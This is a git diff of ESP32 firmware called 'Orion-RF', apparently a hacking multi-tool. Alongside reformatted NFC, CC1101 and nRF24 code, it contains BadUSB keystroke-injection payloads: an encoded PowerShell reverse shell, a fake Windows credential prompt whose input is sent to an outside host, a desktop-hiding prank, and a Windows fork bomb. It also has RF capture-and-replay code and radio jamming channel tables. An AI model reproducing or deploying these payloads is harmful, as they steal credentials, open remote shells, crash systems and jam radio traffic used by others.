"AAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGI"
"AeQB0AGUAcwAuAEw"
"AZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOA"
"GUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQA"
"uAFQAZQB4AHQAL"
"gBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQ"
"AYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoA"
"GkAZQB4ACAAJAB"
"kAGEAdABhACAAMgA+"
"ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYw"
"BrADIAIAAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACcAUABTACAAJwAgACsAK"
"ABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAnAD4AIAAnADsAJABzAGUAbgBkAGIAeQB0AGU"
"AIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJA"
"CkALgBHAGUAd"
"ABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBhAG0"
"ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5A"
"HQAZQAuAEwAZQB"
"uAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAa"
"WVudAAuAEMAbABvAHMAZQAoACkAIgApACkAOwBJAG4AdgBvAGsAZQAtAEUAeABwAHIAZQB"
"zAHMAaQBvAG4AIAAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAb"
"gBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAGuAZwAoACQAcwAuAFQAbwBBAHI"
"AcgBhAHkAKAApACkAKQA=");
Keyboard.write(KEY_RETURN); Keyboard.write(KEY_RETURN);
break; break;
// ================= CREDENTIAL SNATCHER ================= // ================= CREDENTIAL SNATCHER =================
case 11: case 11:
showRunningScreen("Vault Crack"); showRunningScreen("Vault Crack");
// Open hidden PowerShell // Open hidden PowerShell
runCommand( runCommand("powershell -nop -W Hidden -c \"$cred = $host.ui.PromptForCredential('Windows Security','Please authenticate to update your system credentials.','',''); $p = $cred.GetNetworkCredential().Password; $u = $cred.UserName; Invoke-WebRequest -Uri 'http://krolyxon.com/log?u='+$u+'&p='+$p\"");
"powershell -nop -W Hidden -c \"$cred = "
"$host.ui.PromptForCredential('Windows Security','Please authenticate "
"to update your system credentials.','',''); $p = "
"$cred.GetNetworkCredential().Password; $u = $cred.UserName; "
"Invoke-WebRequest -Uri 'http://krolyxon.com/log?u='+$u+'&p='+$p\"");
break; break;
// ================= DESKTOP GHOST ================= // ================= DESKTOP GHOST =================
case 12: case 12:
showRunningScreen("Ghost Mode"); showRunningScreen("Ghost Mode");
runCommand("powershell -nop -W Hidden -c \"Add-Type -AssemblyName " runCommand("powershell -nop -W Hidden -c \"Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.SendKeys]::SendWait('{PRTSC}'); Start-Sleep -s 1; $path = '$env:TEMP\\bg.png'; (Get-Clipboard -Format Image).Save($path); Set-ItemProperty -Path 'HKCU:\\Control Panel\\Desktop' -Name Wallpaper -Value $path; rundll32.exe user32.dll,UpdatePerUserSystemParameters;\"");
"System.Windows.Forms; "
"[System.Windows.Forms.SendKeys]::SendWait('{PRTSC}'); "
"Start-Sleep -s 1; $path = '$env:TEMP\\bg.png'; (Get-Clipboard "
"-Format Image).Save($path); Set-ItemProperty -Path "
"'HKCU:\\Control Panel\\Desktop' -Name Wallpaper -Value $path; "
"rundll32.exe user32.dll,UpdatePerUserSystemParameters;\"");
// Hide Desktop Icons (requires a registry tweak) // Hide Desktop Icons (requires a registry tweak)
typeSlow("reg add " typeSlow("reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced /v HideIcons /t REG_DWORD /d 1 /f && taskkill /f /im explorer.exe && start explorer.exe");
"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Adv" Keyboard.write(KEY_RETURN);
"anced /v HideIcons /t REG_DWORD /d 1 /f && taskkill /f /im "
"explorer.exe && start explorer.exe");
Keyboard.write(KEY_RETURN);
break; break;
// ================= FORK BOMB ================= // ================= FORK BOMB =================
case 13: case 13:
showRunningScreen("System Stress"); showRunningScreen("System Stress");
runCommand("cmd"); runCommand("cmd");
delay(500); delay(500);
// The shortest deadly command in Windows // The shortest deadly command in Windows
typeSlow("%0|%0"); typeSlow("%0|%0");
Keyboard.write(KEY_RETURN); Keyboard.write(KEY_RETURN);
break; break;
}
} }
}

119
src/main.cpp
View File

@ -2,9 +2,9 @@
#include <USB.h> #include <USB.h>
#include <USBHIDKeyboard.h> #include <USBHIDKeyboard.h>
#include "libs/BleMouse.h"
#include <BLEDevice.h> #include <BLEDevice.h>
#include <BLEScan.h> #include <BLEScan.h>
#include "libs/BleMouse.h"
#include <RF24.h> #include <RF24.h>
#include <nRF24L01.h> #include <nRF24L01.h>
@ -14,14 +14,15 @@
#include <WiFi.h> #include <WiFi.h>
#include <esp_wifi.h> #include <esp_wifi.h>
#include <SPI.h>
#include <esp_chip_info.h> #include <esp_chip_info.h>
#include <esp_heap_caps.h> #include <esp_heap_caps.h>
#include <esp_system.h> #include <esp_system.h>
#include <SPI.h>
#include "ui/display.h" #include "ui/display.h"
#include "ui/menu.h"
#include "utils/buttons.h" #include "utils/buttons.h"
#include "ui/menu.h"
#include "config.h" #include "config.h"
#include "rf/cc1101.h" #include "rf/cc1101.h"
@ -32,10 +33,12 @@ USBHIDKeyboard Keyboard;
// ===== BLE MOUSE ===== // ===== BLE MOUSE =====
BleMouse bleMouse("Orion-RF", "Orion-RF", 100); BleMouse bleMouse("Orion-RF", "Orion-RF", 100);
RF24 radio1(CE1_PIN, CSN1_PIN); RF24 radio1(CE1_PIN, CSN1_PIN);
RF24 radio2(CE2_PIN, CSN2_PIN); RF24 radio2(CE2_PIN, CSN2_PIN);
SPIClass *RADIO_SPI; SPIClass *RADIO_SPI;
void deactivateNRF1() { void deactivateNRF1() {
digitalWrite(CSN1_PIN, HIGH); digitalWrite(CSN1_PIN, HIGH);
digitalWrite(CE1_PIN, LOW); digitalWrite(CE1_PIN, LOW);
@ -46,80 +49,94 @@ void deactivateNRF2() {
digitalWrite(CE2_PIN, LOW); digitalWrite(CE2_PIN, LOW);
} }
// ================= SYSTEM INFO ================= // ================= SYSTEM INFO =================
void printSystemUsage() { void printSystemUsage()
esp_chip_info_t chip_info; {
esp_chip_info_t chip_info;
esp_chip_info(&chip_info); esp_chip_info(&chip_info);
Serial.printf("CPU cores: %d\n", chip_info.cores); Serial.printf("CPU cores: %d\n", chip_info.cores);
Serial.printf("Free heap: %d bytes\n", Serial.printf(
heap_caps_get_free_size(MALLOC_CAP_DEFAULT)); "Free heap: %d bytes\n",
heap_caps_get_free_size(MALLOC_CAP_DEFAULT)
);
Serial.printf("PSRAM free: %d bytes\n", Serial.printf(
heap_caps_get_free_size(MALLOC_CAP_SPIRAM)); "PSRAM free: %d bytes\n",
heap_caps_get_free_size(MALLOC_CAP_SPIRAM)
);
} }
void showSplash() { void showSplash()
u8g2.clearBuffer(); {
u8g2.clearBuffer();
u8g2.setFont(u8g2_font_logisoso20_tr); // big font u8g2.setFont(u8g2_font_logisoso20_tr); // big font
u8g2.drawStr(10, 40, "Orion-RF"); u8g2.drawStr(10, 40, "Orion-RF");
u8g2.setFont(u8g2_font_5x8_tr); // small subtitle u8g2.setFont(u8g2_font_5x8_tr); // small subtitle
u8g2.drawStr(25, 58, "Initializing..."); u8g2.drawStr(25, 58, "Initializing...");
u8g2.sendBuffer(); u8g2.sendBuffer();
delay(1500); // 1.5 sec delay(1500); // 1.5 sec
} }
// ================= SETUP ================= // ================= SETUP =================
void setup() { void setup()
Serial.begin(115200); {
Serial.begin(115200);
displayInit(); displayInit();
showSplash(); showSplash();
buttonsInit(); buttonsInit();
menuInit(); menuInit();
delay(1500); delay(1500);
USB.begin(); USB.begin();
Keyboard.begin(); Keyboard.begin();
// NRF SPI safety
// pinMode(CSN1_PIN, OUTPUT);
// digitalWrite(CSN1_PIN, HIGH);
// pinMode(CSN2_PIN, OUTPUT);
// digitalWrite(CSN2_PIN, HIGH);
deactivateNRF1();
deactivateNRF2();
RADIO_SPI = new SPIClass(FSPI); // NRF SPI safety
RADIO_SPI->begin(NRF_SCK, NRF_MISO, NRF_MOSI); //pinMode(CSN1_PIN, OUTPUT);
//digitalWrite(CSN1_PIN, HIGH);
// ===== CC1101 SPI INIT ===== //pinMode(CSN2_PIN, OUTPUT);
// SPI.begin( //digitalWrite(CSN2_PIN, HIGH);
// cc1101_SCK, deactivateNRF1();
// cc1101_MISO, deactivateNRF2();
// cc1101_MOSI,
// CC1101_CS
//);
// pinMode(CC1101_CS, OUTPUT); RADIO_SPI = new SPIClass(FSPI);
// pinMode(CC1101_2_CS, OUTPUT); RADIO_SPI->begin(NRF_SCK, NRF_MISO, NRF_MOSI);
// digitalWrite(CC1101_CS, HIGH); // ===== CC1101 SPI INIT =====
// digitalWrite(CC1101_2_CS, HIGH); //SPI.begin(
// cc1101_SCK,
// cc1101_MISO,
// cc1101_MOSI,
// CC1101_CS
//);
printSystemUsage(); //pinMode(CC1101_CS, OUTPUT);
//pinMode(CC1101_2_CS, OUTPUT);
Serial.println("SYSTEM READY"); //digitalWrite(CC1101_CS, HIGH);
//digitalWrite(CC1101_2_CS, HIGH);
printSystemUsage();
Serial.println("SYSTEM READY");
} }
// ================= LOOP ================= // ================= LOOP =================
void loop() { menuLoop(); } void loop()
{
menuLoop();
}

159
src/nfc/nfc.cpp
View File

@ -1,104 +1,117 @@
#include "nfc.h" #include "nfc.h"
#include <Adafruit_PN532.h>
#include <Arduino.h> #include <Arduino.h>
#include <Wire.h> #include <Wire.h>
#include <Adafruit_PN532.h>
#include "../config.h"
#include "../utils/buttons.h"
#include "ui/display.h" #include "ui/display.h"
#include "../utils/buttons.h"
#include "../config.h"
#define PN532_IRQ -1 #define PN532_IRQ -1
#define PN532_RESET -1 #define PN532_RESET -1
// Adafruit_PN532 nfc(Wire); //Adafruit_PN532 nfc(Wire);
Adafruit_PN532 nfc(PN532_IRQ, PN532_RESET, &Wire); Adafruit_PN532 nfc(PN532_IRQ, PN532_RESET, &Wire);
void drawWaiting() { void drawWaiting()
u8g2.clearBuffer(); {
u8g2.clearBuffer();
u8g2.drawStr(10, 20, "PN532 Ready"); u8g2.drawStr(10, 20, "PN532 Ready");
u8g2.drawStr(10, 40, "Tap NFC Card"); u8g2.drawStr(10, 40, "Tap NFC Card");
u8g2.sendBuffer(); u8g2.sendBuffer();
} }
void showUID(uint8_t *uid, uint8_t uidLength) { void showUID(uint8_t *uid, uint8_t uidLength)
char line[64]; {
char line[64];
String uidStr = ""; String uidStr = "";
for (int i = 0; i < uidLength; i++) { for (int i = 0; i < uidLength; i++)
if (uid[i] < 0x10) {
uidStr += "0"; if (uid[i] < 0x10)
uidStr += "0";
uidStr += String(uid[i], HEX); uidStr += String(uid[i], HEX);
uidStr += " "; uidStr += " ";
} }
uidStr.toUpperCase(); uidStr.toUpperCase();
u8g2.clearBuffer();
u8g2.drawStr(0, 15, "Card Detected");
snprintf(line, sizeof(line), "UID:");
u8g2.drawStr(0, 35, line);
u8g2.drawStr(0, 50, uidStr.c_str());
u8g2.sendBuffer();
}
void pn532_init() {
delay(100);
nfc.begin();
delay(100);
uint32_t versiondata = nfc.getFirmwareVersion();
if (!versiondata) {
Serial.println("PN532 not found");
u8g2.clearBuffer(); u8g2.clearBuffer();
u8g2.drawStr(0, 20, "PN532 NOT FOUND");
u8g2.drawStr(0, 15, "Card Detected");
snprintf(line, sizeof(line), "UID:");
u8g2.drawStr(0, 35, line);
u8g2.drawStr(0, 50, uidStr.c_str());
u8g2.sendBuffer(); u8g2.sendBuffer();
delay(2000);
return;
}
Serial.println("PN532 initialized");
nfc.SAMConfig();
} }
void pn532_scan_loop() { void pn532_init()
pn532_init(); {
delay(100);
nfc.begin();
delay(100);
drawWaiting(); uint32_t versiondata = nfc.getFirmwareVersion();
while (1) { if (!versiondata)
uint8_t success; {
uint8_t uid[7]; Serial.println("PN532 not found");
uint8_t uidLength;
Serial.println("Scanning..."); u8g2.clearBuffer();
success = u8g2.drawStr(0, 20, "PN532 NOT FOUND");
nfc.readPassiveTargetID(PN532_MIFARE_ISO14443A, uid, &uidLength, 50); u8g2.sendBuffer();
if (success) { delay(2000);
Serial.println("Card detected"); return;
showUID(uid, uidLength);
delay(1000);
} }
if (btnBack()) { Serial.println("PN532 initialized");
delay(150);
break; nfc.SAMConfig();
} }
}
void pn532_scan_loop()
{
pn532_init();
drawWaiting();
while (1)
{
uint8_t success;
uint8_t uid[7];
uint8_t uidLength;
Serial.println("Scanning...");
success = nfc.readPassiveTargetID(
PN532_MIFARE_ISO14443A,
uid,
&uidLength,
50
);
if (success)
{
Serial.println("Card detected");
showUID(uid, uidLength);
delay(1000);
}
if (btnBack())
{
delay(150);
break;
}
}
} }

547
src/rf/cc1101.cpp
View File

@ -1,10 +1,10 @@
#include <Arduino.h>
#include "../libs/ELECHOUSE_CC1101_SRC_DRV.h"
#include "cc1101.h" #include "cc1101.h"
#include "../config.h" #include "../config.h"
#include "../libs/ELECHOUSE_CC1101_SRC_DRV.h" #include "SPI.h"
#include "../ui/display.h" #include "../ui/display.h"
#include "../utils/buttons.h" #include "../utils/buttons.h"
#include "SPI.h"
#include <Arduino.h>
// ===== CONFIG ===== // ===== CONFIG =====
#define RAW_BUF_MAX 512 #define RAW_BUF_MAX 512
@ -26,332 +26,383 @@ float rxBW = 325.0;
int powerLevel = 10; int powerLevel = 10;
// ===== ISR ===== // ===== ISR =====
void IRAM_ATTR pulseISR() { void IRAM_ATTR pulseISR()
unsigned long now = micros(); {
unsigned long now = micros();
if (!capturing) if (!capturing) return;
return; if (pulseIndex >= RAW_BUF_MAX) return;
if (pulseIndex >= RAW_BUF_MAX)
return;
unsigned long duration = now - lastEdgeTime; unsigned long duration = now - lastEdgeTime;
if (duration < 150) if (duration < 150) return;
return;
captureBuffer[pulseIndex++] = duration; captureBuffer[pulseIndex++] = duration;
lastEdgeTime = now; lastEdgeTime = now;
} }
// ===== OOK SETUP ===== // ===== OOK SETUP =====
void setupOOKMode() { void setupOOKMode()
ELECHOUSE_cc1101.SetRx(); {
ELECHOUSE_cc1101.setMHZ(currentFreq); ELECHOUSE_cc1101.SetRx();
ELECHOUSE_cc1101.setMHZ(currentFreq);
ELECHOUSE_cc1101.setModulation(2); // ASK/OOK ELECHOUSE_cc1101.setModulation(2); // ASK/OOK
ELECHOUSE_cc1101.setDRate(dataRate); ELECHOUSE_cc1101.setDRate(dataRate);
ELECHOUSE_cc1101.setDeviation(0); ELECHOUSE_cc1101.setDeviation(0);
ELECHOUSE_cc1101.setRxBW(rxBW); ELECHOUSE_cc1101.setRxBW(rxBW);
ELECHOUSE_cc1101.setSyncMode(0); ELECHOUSE_cc1101.setSyncMode(0);
ELECHOUSE_cc1101.setPA(powerLevel); ELECHOUSE_cc1101.setPA(powerLevel);
} }
// ===== INIT (LAZY, SAFE) ===== // ===== INIT (LAZY, SAFE) =====
// ================= CC1101 INIT ================= // ================= CC1101 INIT =================
bool initCC1101() { bool initCC1101()
Serial.println(); {
Serial.println("===== CC1101 INIT ====="); Serial.println();
Serial.println("===== CC1101 INIT =====");
// ===== SPI ===== // ===== SPI =====
SPI.begin(cc1101_SCK, cc1101_MISO, cc1101_MOSI, CC1101_CS); SPI.begin(
cc1101_SCK,
cc1101_MISO,
cc1101_MOSI,
CC1101_CS
);
pinMode(CC1101_CS, OUTPUT); pinMode(CC1101_CS, OUTPUT);
digitalWrite(CC1101_CS, HIGH); digitalWrite(CC1101_CS, HIGH);
delay(100); delay(100);
// ===== GDO ===== // ===== GDO =====
ELECHOUSE_cc1101.setGDO(CC1101_GDO0, -1); ELECHOUSE_cc1101.setGDO(
CC1101_GDO0,
-1
);
ELECHOUSE_cc1101.setSpiPin(cc1101_SCK, cc1101_MISO, cc1101_MOSI, CC1101_CS); ELECHOUSE_cc1101.setSpiPin(
cc1101_SCK,
cc1101_MISO,
cc1101_MOSI,
CC1101_CS
);
// ===== DETECT ===== // ===== DETECT =====
Serial.println("Checking chip..."); Serial.println("Checking chip...");
if (!ELECHOUSE_cc1101.getCC1101()) { if (!ELECHOUSE_cc1101.getCC1101())
Serial.println("❌ CC1101 NOT FOUND"); {
return false; Serial.println("❌ CC1101 NOT FOUND");
} return false;
}
Serial.println("✅ CC1101 FOUND"); Serial.println("✅ CC1101 FOUND");
// ===== IMPORTANT ===== // ===== IMPORTANT =====
// DO NOT CALL Init() // DO NOT CALL Init()
// it freezes on some ESP32-S3 setups // it freezes on some ESP32-S3 setups
// ===== MANUAL CONFIG ===== // ===== MANUAL CONFIG =====
ELECHOUSE_cc1101.setMHZ(currentFreq); ELECHOUSE_cc1101.setMHZ(currentFreq);
// 2 = ASK/OOK // 2 = ASK/OOK
ELECHOUSE_cc1101.setModulation(2); ELECHOUSE_cc1101.setModulation(2);
ELECHOUSE_cc1101.setDRate(dataRate); ELECHOUSE_cc1101.setDRate(dataRate);
ELECHOUSE_cc1101.setRxBW(rxBW); ELECHOUSE_cc1101.setRxBW(rxBW);
ELECHOUSE_cc1101.setDeviation(0); ELECHOUSE_cc1101.setDeviation(0);
// disable sync requirement // disable sync requirement
ELECHOUSE_cc1101.setSyncMode(0); ELECHOUSE_cc1101.setSyncMode(0);
ELECHOUSE_cc1101.setPA(powerLevel); ELECHOUSE_cc1101.setPA(powerLevel);
// async serial mode // async serial mode
ELECHOUSE_cc1101.setCCMode(0); ELECHOUSE_cc1101.setCCMode(0);
// enter RX // enter RX
ELECHOUSE_cc1101.SetRx(); ELECHOUSE_cc1101.SetRx();
pinMode(CC1101_GDO0, INPUT); pinMode(CC1101_GDO0, INPUT);
Serial.println("✅ RX MODE READY"); Serial.println("✅ RX MODE READY");
cc1101Inited = true; cc1101Inited = true;
return true; return true;
} }
// ===== CAPTURE CONTROL ===== // ===== CAPTURE CONTROL =====
void startCapture() { void startCapture()
pulseIndex = 0; {
capturing = true; pulseIndex = 0;
lastEdgeTime = micros(); capturing = true;
lastEdgeTime = micros();
attachInterrupt(digitalPinToInterrupt(CC1101_GDO0), pulseISR, CHANGE); attachInterrupt(
digitalPinToInterrupt(CC1101_GDO0),
pulseISR,
CHANGE
);
Serial.println("Looking for RF... "); Serial.println("Looking for RF... ");
} }
bool isCC1101Ready() { return cc1101Inited; } bool isCC1101Ready() {
return cc1101Inited;
}
void stopCapture() { void stopCapture()
capturing = false; {
capturing = false;
detachInterrupt(digitalPinToInterrupt(CC1101_GDO0)); detachInterrupt(digitalPinToInterrupt(CC1101_GDO0));
Serial.println("Capture stopped"); Serial.println("Capture stopped");
} }
// ===== DEBUG PRINT ===== // ===== DEBUG PRINT =====
void printCapture() { void printCapture()
Serial.println("Captured pulses:"); {
Serial.println("Captured pulses:");
for (int i = 0; i < pulseIndex; i++) { for (int i = 0; i < pulseIndex; i++)
Serial.println(captureBuffer[i]); {
} Serial.println(captureBuffer[i]);
}
} }
// ================= REPLAY ================= // ================= REPLAY =================
void replaySignal() { void replaySignal()
Serial.println(); {
Serial.println("Replaying signal..."); Serial.println();
Serial.println("Replaying signal...");
stopCapture(); stopCapture();
ELECHOUSE_cc1101.SetTx(); ELECHOUSE_cc1101.SetTx();
pinMode(CC1101_GDO0, OUTPUT); pinMode(CC1101_GDO0, OUTPUT);
for (int i = 0; i < pulseIndex; i++) { for (int i = 0; i < pulseIndex; i++)
digitalWrite(CC1101_GDO0, (i % 2 == 0) ? HIGH : LOW); {
digitalWrite(
CC1101_GDO0,
(i % 2 == 0) ? HIGH : LOW
);
delayMicroseconds(captureBuffer[i]); delayMicroseconds(captureBuffer[i]);
} }
digitalWrite(CC1101_GDO0, LOW); digitalWrite(CC1101_GDO0, LOW);
ELECHOUSE_cc1101.SetRx(); ELECHOUSE_cc1101.SetRx();
pinMode(CC1101_GDO0, INPUT); pinMode(CC1101_GDO0, INPUT);
Serial.println("Replay complete"); Serial.println("Replay complete");
} }
void captureAndDisplay() {
if (!cc1101Inited) {
if (!initCC1101()) {
u8g2.clearBuffer();
u8g2.setFont(u8g2_font_6x10_tr);
u8g2.drawStr(0, 20, "CC1101 Failed");
u8g2.sendBuffer();
return;
}
}
startCapture(); void captureAndDisplay()
{
u8g2.clearBuffer(); if (!cc1101Inited)
u8g2.setFont(u8g2_font_6x10_tr); {
u8g2.drawStr(0, 12, "CC1101 Capture"); if (!initCC1101())
u8g2.drawStr(0, 28, "Waiting RF..."); {
u8g2.drawStr(0, 60, "BACK = Exit"); u8g2.clearBuffer();
u8g2.sendBuffer(); u8g2.setFont(u8g2_font_6x10_tr);
u8g2.drawStr(0, 20, "CC1101 Failed");
unsigned long lastSignal = millis(); u8g2.sendBuffer();
int lastPulseCount = 0; return;
}
while (true) {
// signal detected
if (pulseIndex > lastPulseCount) {
lastPulseCount = pulseIndex;
lastSignal = millis();
} }
// update OLED startCapture();
u8g2.clearBuffer(); u8g2.clearBuffer();
u8g2.setFont(u8g2_font_6x10_tr); u8g2.setFont(u8g2_font_6x10_tr);
u8g2.drawStr(0, 12, "CC1101 Capture"); u8g2.drawStr(0, 12, "CC1101 Capture");
u8g2.drawStr(0, 28, "Waiting RF...");
u8g2.setCursor(0, 28); u8g2.drawStr(0, 60, "BACK = Exit");
u8g2.print("Pulses: ");
u8g2.print(pulseIndex);
u8g2.setCursor(0, 42);
u8g2.print("Freq: ");
u8g2.print(currentFreq);
u8g2.print(" MHz");
if (pulseIndex > 0) {
u8g2.drawStr(0, 54, "Signal Detected");
} else {
u8g2.drawStr(0, 54, "Waiting...");
}
u8g2.sendBuffer(); u8g2.sendBuffer();
// auto print once capture stabilizes unsigned long lastSignal = millis();
if (pulseIndex > 20 && (millis() - lastSignal > 1500)) { int lastPulseCount = 0;
stopCapture();
Serial.println(); while (true)
Serial.println("===== RF CAPTURE ====="); {
// signal detected
if (pulseIndex > lastPulseCount)
{
lastPulseCount = pulseIndex;
lastSignal = millis();
}
for (int i = 0; i < pulseIndex; i++) { // update OLED
Serial.print(captureBuffer[i]); u8g2.clearBuffer();
Serial.print(", "); u8g2.setFont(u8g2_font_6x10_tr);
}
Serial.println(); u8g2.drawStr(0, 12, "CC1101 Capture");
u8g2.clearBuffer(); u8g2.setCursor(0, 28);
u8g2.setFont(u8g2_font_6x10_tr); u8g2.print("Pulses: ");
u8g2.drawStr(0, 15, "Capture Complete"); u8g2.print(pulseIndex);
u8g2.setCursor(0, 35); u8g2.setCursor(0, 42);
} u8g2.print("Freq: ");
} u8g2.print(currentFreq);
u8g2.print(" MHz");
if (pulseIndex > 0)
{
u8g2.drawStr(0, 54, "Signal Detected");
}
else
{
u8g2.drawStr(0, 54, "Waiting...");
}
u8g2.sendBuffer();
// auto print once capture stabilizes
if (pulseIndex > 20 && (millis() - lastSignal > 1500))
{
stopCapture();
Serial.println();
Serial.println("===== RF CAPTURE =====");
for (int i = 0; i < pulseIndex; i++)
{
Serial.print(captureBuffer[i]);
Serial.print(", ");
}
Serial.println();
u8g2.clearBuffer();
u8g2.setFont(u8g2_font_6x10_tr);
u8g2.drawStr(0, 15, "Capture Complete");
u8g2.setCursor(0, 35);
}
}
} }
void handleMenu() { void handleMenu()
if (!isCC1101Ready()) { {
if (!initCC1101()) { if (!isCC1101Ready())
u8g2.clearBuffer(); {
u8g2.setFont(u8g2_font_6x10_tr); if (!initCC1101())
u8g2.drawStr(0, 20, "CC1101 Failed"); {
u8g2.sendBuffer(); u8g2.clearBuffer();
delay(1500); u8g2.setFont(u8g2_font_6x10_tr);
return; u8g2.drawStr(0, 20, "CC1101 Failed");
} u8g2.sendBuffer();
} delay(1500);
return;
pulseIndex = 0; }
startCapture();
// ===== CAPTURE FOR 5 SEC =====
unsigned long start = millis();
while (millis() - start < 5000) {
noInterrupts();
int count = pulseIndex;
interrupts();
u8g2.clearBuffer();
u8g2.setFont(u8g2_font_6x10_tr);
u8g2.drawStr(0, 12, "RF Capturing...");
u8g2.setCursor(0, 30);
u8g2.print("Pulses: ");
u8g2.print(count);
u8g2.sendBuffer();
delay(50);
}
stopCapture();
// ===== DISPLAY CAPTURE BUFFER =====
int scroll = 0;
while (1) {
noInterrupts();
int count = pulseIndex;
interrupts();
u8g2.clearBuffer();
u8g2.setFont(u8g2_font_5x8_tr);
u8g2.drawStr(0, 8, "Captured Buffer");
// display 6 lines
for (int i = 0; i < 6; i++) {
int idx = scroll + i;
if (idx >= count)
break;
noInterrupts();
unsigned long val = captureBuffer[idx];
interrupts();
char buf[32];
snprintf(buf, sizeof(buf), "%03d: %lu", idx, val);
u8g2.drawStr(0, 20 + (i * 8), buf);
} }
u8g2.sendBuffer(); pulseIndex = 0;
// scroll down startCapture();
if (btnDown()) {
if (scroll < count - 1)
scroll++;
delay(120); // ===== CAPTURE FOR 5 SEC =====
unsigned long start = millis();
while (millis() - start < 5000)
{
noInterrupts();
int count = pulseIndex;
interrupts();
u8g2.clearBuffer();
u8g2.setFont(u8g2_font_6x10_tr);
u8g2.drawStr(0, 12, "RF Capturing...");
u8g2.setCursor(0, 30);
u8g2.print("Pulses: ");
u8g2.print(count);
u8g2.sendBuffer();
delay(50);
} }
// scroll up stopCapture();
if (btnUp()) {
if (scroll > 0)
scroll--;
delay(120); // ===== DISPLAY CAPTURE BUFFER =====
int scroll = 0;
while (1)
{
noInterrupts();
int count = pulseIndex;
interrupts();
u8g2.clearBuffer();
u8g2.setFont(u8g2_font_5x8_tr);
u8g2.drawStr(0, 8, "Captured Buffer");
// display 6 lines
for (int i = 0; i < 6; i++)
{
int idx = scroll + i;
if (idx >= count)
break;
noInterrupts();
unsigned long val = captureBuffer[idx];
interrupts();
char buf[32];
snprintf(buf, sizeof(buf), "%03d: %lu", idx, val);
u8g2.drawStr(0, 20 + (i * 8), buf);
}
u8g2.sendBuffer();
// scroll down
if (btnDown())
{
if (scroll < count - 1)
scroll++;
delay(120);
}
// scroll up
if (btnUp())
{
if (scroll > 0)
scroll--;
delay(120);
}
// replay
if (btnSelect())
{
replaySignal();
delay(300);
}
// exit
if (btnBack())
{
delay(150);
return;
}
delay(20);
} }
// replay
if (btnSelect()) {
replaySignal();
delay(300);
}
// exit
if (btnBack()) {
delay(150);
return;
}
delay(20);
}
} }

349
src/rf/nrf24.cpp
View File

@ -1,8 +1,8 @@
#include <Arduino.h>
#include <RF24.h>
#include "nrf24.h" #include "nrf24.h"
#include "../ui/display.h" #include "../ui/display.h"
#include "../utils/buttons.h" #include "../utils/buttons.h"
#include <Arduino.h>
#include <RF24.h>
#define JAM_DURATION 500 #define JAM_DURATION 500
extern SPIClass *RADIO_SPI; extern SPIClass *RADIO_SPI;
@ -11,206 +11,239 @@ extern RF24 radio2;
// ============ CHANNELS ============= // ============ CHANNELS =============
const byte bleChannels[] = {2, 26, 80}; const byte bleChannels[] = {2, 26, 80};
const byte bluetoothChannels[] = {32, 34, 46, 48, 50, 52, 0, 1, 2, 4, 6, const byte bluetoothChannels[] = {
8, 22, 24, 26, 28, 30, 74, 76, 78, 80}; 32, 34, 46, 48, 50, 52,
const byte wifiChannels[] = {12, 17, 22, 27, 32, 37, 42, 0, 1, 2, 4, 6, 8,
47, 52, 57, 62, 67, 72}; 22, 24, 26, 28, 30,
const byte usbWireless_channels[] = {40, 50, 60}; 74, 76, 78, 80
};
const byte wifiChannels[] = {
12, 17, 22, 27, 32,
37, 42, 47, 52, 57,
62, 67, 72
};
const byte usbWireless_channels[] = {40, 50, 60};
const byte videoTransmitter_channels[] = {70, 75, 80}; const byte videoTransmitter_channels[] = {70, 75, 80};
const byte zigbee_channels[] = {11, 15, 20, 25}; const byte zigbee_channels[] = {11, 15, 20, 25};
const byte rc_channels[] = {1, 3, 5, 7}; const byte rc_channels[] = {1, 3, 5, 7};
void initNRF(RF24 &radio) { void initNRF(RF24 &radio)
if (!radio.begin(RADIO_SPI)) { {
Serial.println("NRF not found"); if (!radio.begin(RADIO_SPI)) {
return; Serial.println("NRF not found");
} return;
}
radio.setAutoAck(false);
radio.stopListening();
radio.setRetries(0, 0);
radio.setPALevel(RF24_PA_MAX, true);
radio.setDataRate(RF24_2MBPS);
radio.openWritingPipe(0xE7E7E7E7E7LL);
radio.setCRCLength(RF24_CRC_DISABLED);
Serial.println("NRF Initialized");
radio.setAutoAck(false);
radio.stopListening();
radio.setRetries(0, 0);
radio.setPALevel(RF24_PA_MAX, true);
radio.setDataRate(RF24_2MBPS);
radio.openWritingPipe(0xE7E7E7E7E7LL);
radio.setCRCLength(RF24_CRC_DISABLED);
Serial.println("NRF Initialized");
} }
// void startBleJammer() {
// initNRF(radio1);
// initNRF(radio2); //void startBleJammer() {
// initNRF(radio1);
// initNRF(radio2);
// //
// Serial.println("NRF JAMMER STARTED"); // Serial.println("NRF JAMMER STARTED");
// //
// const char payload[] = "xxxxxxxxxxxxxxxx"; // const char payload[] = "xxxxxxxxxxxxxxxx";
// //
// u8g2.clearBuffer(); // u8g2.clearBuffer();
